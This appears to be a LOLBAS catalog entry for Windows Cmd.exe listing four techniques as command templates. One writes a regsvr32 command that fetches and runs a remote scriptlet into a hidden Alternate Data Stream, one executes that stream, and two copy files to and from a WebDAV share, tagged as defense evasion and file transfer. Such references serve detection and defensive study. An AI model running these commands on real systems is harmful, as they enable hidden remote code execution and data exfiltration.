CatalogLOLBAS

LOL · Binary

Cmd.exe

4 techniquesWindowsLOLBASGPL-3.0

ADS

Defense EvasionFile WriteWindows

Add content to an Alternate Data Stream (ADS).

Use Can be used to evade defensive countermeasures or to hide as a persistence mechanism

cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat
Evidence
Upstream reference
Environment
Local host
Context
user
Native
ADS

ADS

Defense EvasionFile WriteWindows

Execute payload.bat stored in an Alternate Data Stream (ADS).

Use Can be used to evade defensive countermeasures or to hide as a persistence mechanism

cmd.exe - < {PATH}:payload.bat
Evidence
Upstream reference
Environment
Local host
Context
user
Native
ADS

Download

File DownloadWindows

Downloads a specified file from a WebDAV server to the target file.

Use Download/copy a file from a WebDAV server

type {PATH_SMB} > {PATH_ABSOLUTE}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Download
MITRE
T1105

Upload

File UploadWindows

Uploads a specified file to a WebDAV server.

Use Upload a file to a WebDAV server

type {PATH_ABSOLUTE} > {PATH_SMB}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Upload